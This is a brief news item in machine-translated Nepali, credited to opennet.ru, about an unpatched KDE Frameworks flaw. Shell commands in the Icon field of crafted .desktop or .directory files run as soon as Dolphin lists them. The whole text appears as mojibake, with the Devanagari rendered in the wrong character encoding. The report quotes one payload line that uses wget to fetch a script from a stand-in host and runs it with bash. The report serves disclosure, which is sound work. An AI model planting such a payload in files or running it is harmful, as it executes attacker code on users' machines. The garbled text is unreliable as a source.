рдлрд╛рдЗрд▓рд╣рд░реВрдХреЛ рд╕реВрдЪреА рд╣реЗрд░реНрджрд╛ рдХреЗрдбреАрдИ рдХреЛрдб рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рдЬреЛрдЦрд┐рдо

рдХреЗрдбреАрдИ рдорд╛ рдкрд╣рд┐рдЪрд╛рди рдЧрд░рд┐рдпреЛ рдХрдордЬреЛрд░реА, рдЬрд╕рд▓реЗ рдкреНрд░рдпреЛрдЧрдХрд░реНрддрд╛рд▓реЗ рд╡рд┐рд╢реЗрд╖ рд░реВрдкрдорд╛ рдбрд┐рдЬрд╛рдЗрди рдЧрд░рд┐рдПрдХреЛ ".desktop" рд░ ".directory" рдлрд╛рдЗрд▓рд╣рд░реВ рд╕рдорд╛рд╡реЗрд╢ рднрдПрдХреЛ рдбрд╛рдЗрд░реЗрдХреНрдЯрд░реА рд╡рд╛ рдЕрднрд┐рд▓реЗрдЦ рд╣реЗрд░реНрджрд╛ рдЖрдХреНрд░рдордгрдХрд░реНрддрд╛рд▓рд╛рдИ рд╕реНрд╡реЗрдЪреНрдЫрд╛рдЪрд╛рд░реА рдЖрджреЗрд╢рд╣рд░реВ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рдЧрд░реНрди рдЕрдиреБрдорддрд┐ рджрд┐рдиреНрдЫред рдЖрдХреНрд░рдордгрдХреЛ рд▓рд╛рдЧрд┐ рдкреНрд░рдпреЛрдЧрдХрд░реНрддрд╛рд▓реЗ рдХреЗрд╡рд▓ рдбрд▓реНрдлрд┐рди рдлрд╛рдЗрд▓ рдкреНрд░рдмрдиреНрдзрдХрдорд╛ рдлрд╛рдЗрд▓рд╣рд░реВрдХреЛ рд╕реВрдЪреА рд╣реЗрд░реНрди, рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдбреЗрд╕реНрдХрдЯрдк рдлрд╛рдЗрд▓ рдбрд╛рдЙрдирд▓реЛрдб рдЧрд░реНрди, рд╡рд╛ рдбреЗрд╕реНрдХрдЯрдк рд╡рд╛ рдХрд╛рдЧрдЬрд╛рддрдорд╛ рд╕рд░реНрдЯрдХрдЯ рддрд╛рдиреНрдиреБ рдЖрд╡рд╢реНрдпрдХ рдЫред рд╕рдорд╕реНрдпрд╛ рдкреБрд╕реНрддрдХрд╛рд▓рдпрд╣рд░реВрдХреЛ рд╣рд╛рд▓рдХреЛ рд░рд┐рд▓реАрдЬрдорд╛ рдкреНрд░рдХрдЯ рд╣реБрдиреНрдЫ рдХреЗрдбреАрдИ рдлреНрд░реЗрдорд╡рд░реНрдХ 5.60.0 рд░ рдкреБрд░рд╛рдирд╛ рд╕рдВрд╕реНрдХрд░рдгрд╣рд░реВ, рдХреЗрдбреАрдИ рек рд╕рдореНрдоред рдЬреЛрдЦрд┐рдо рдЕрдЭреИ рдЫ рд░рд╣рдиреНрдЫ рдЕрд╕реБрдзрд╛рд░рд┐рдПрдХреЛ (CVE рддреЛрдХрд┐рдПрдХреЛ рдЫреИрди)ред

рд╕рдорд╕реНрдпрд╛ рдХреЗрдбреАрдИ рдбреЗрд╕реНрдХрдЯрдкрдлрд╛рдЗрд▓ рд╡рд░реНрдЧрдХреЛ рдЧрд▓рдд рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрдирдХреЛ рдХрд╛рд░рдгрд▓реЗ рдЧрд░реНрджрд╛ рднрдПрдХреЛ рд╣реЛ, рдЬрд╕рд▓реЗ "рдЖрдЗрдХрди" рдЪрд░рд▓рд╛рдИ рдкреНрд░рд╢реЛрдзрди рдЧрд░реНрджрд╛, рд╕рд╣реА рдирднрдЗрдХрди, рдорд╛рди KConfigPrivate::expandString() рдкреНрд░рдХрд╛рд░реНрдпрдорд╛ рдкрд╛рд╕ рдЧрд░реНрдЫ, рдЬрд╕рд▓реЗ рдкреНрд░рд╢реЛрдзрди рд╕рд╣рд┐рдд рд╢реЗрд▓ рд╡рд┐рд╢реЗрд╖ рдХреНрдпрд╛рд░реЗрдХреНрдЯрд░рд╣рд░реВрдХреЛ рд╡рд┐рд╕реНрддрд╛рд░ рдЧрд░реНрджрдЫред рд╕реНрдЯреНрд░рд┐рдЩрд╣рд░реВ "$(..)" рдЖрджреЗрд╢рд╣рд░реВ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рдЧрд░реНрдиред XDG рд╡рд┐рдирд┐рд░реНрджреЗрд╢, рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рдХреЛ рдЖрд╡рд╢реНрдпрдХрддрд╛рд╣рд░реБ рдХреЛ рд╡рд┐рдкрд░реАрдд рдЦреБрд▓рд╛рд╕рд╛ рд╢реЗрд▓ рдирд┐рд░реНрдорд╛рдгрд╣рд░реВ рд╕реЗрдЯрд┐рдЩрд╣рд░реВрдХреЛ рдкреНрд░рдХрд╛рд░ рдЕрд▓рдЧ рдирдЧрд░реА рдЙрддреНрдкрд╛рджрди рдЧрд░рд┐рдиреНрдЫ, рдЕрд░реНрдерд╛рддреНред рдЕрдиреБрдкреНрд░рдпреЛрдЧрдХреЛ рдХрдорд╛рдгреНрдб рд▓рд╛рдЗрди рд▓рдиреНрдЪ рдЧрд░реНрдиреЗ рдХреНрд░рдордорд╛ рдорд╛рддреНрд░ рд╣реЛрдЗрди, рддрд░ рдкреВрд░реНрд╡рдирд┐рд░реНрдзрд╛рд░рд┐рдд рд░реВрдкрдорд╛ рдкреНрд░рджрд░реНрд╢рд┐рдд рдЖрдЗрдХрдирд╣рд░реВ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдЧрд░реНрджрд╛ рдкрдирд┐ред

рдЙрджрд╛рд╣рд░рдгрдХрд╛ рд▓рд╛рдЧрд┐, рдЖрдХреНрд░рдордг рдЧрд░реНрди рдкрд░реНрдпрд╛рдкреНрдд рдЫ рдкреНрд░рдпреЛрдЧрдХрд░реНрддрд╛рд▓рд╛рдИ ".directory" рдлрд╛рдЗрд▓ рд╕рдорд╛рд╡реЗрд╢ рднрдПрдХреЛ рдбрд╛рдЗрд░реЗрдХреНрдЯрд░реАрдХреЛ zip рд╕рдВрдЧреНрд░рд╣ рдкрдард╛рдЙрдиреБрд╣реЛрд╕реН рдЬрд╕реНрддреИ:

[рдбреЗрд╕реНрдХрдЯрдк рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐] рдкреНрд░рдХрд╛рд░=рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛
рдЖрдЗрдХрди[$e]=$(wget${IFS}https://example.com/FILENAME.sh&&/bin/bash${IFS}FILENAME.sh)

рдЬрдм рддрдкрд╛рдЗрдБ рдбрд▓реНрдлрд┐рди рдлрд╛рдЗрд▓ рдкреНрд░рдмрдиреНрдзрдХрдорд╛ рдЕрднрд┐рд▓реЗрдЦрдХреЛ рд╕рд╛рдордЧреНрд░реАрд╣рд░реВ рд╣реЗрд░реНрди рдкреНрд░рдпрд╛рд╕ рдЧрд░реНрдиреБрд╣реБрдиреНрдЫ, рд╕реНрдХреНрд░рд┐рдкреНрдЯ https://example.com/FILENAME.sh рдбрд╛рдЙрдирд▓реЛрдб рд░ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рдЧрд░рд┐рдиреЗрдЫред


рд╕реНрд░реЛрдд: opennet.ru

рдПрдХ рдЯрд┐рдкреНрдкрдгреА рдердкреНрди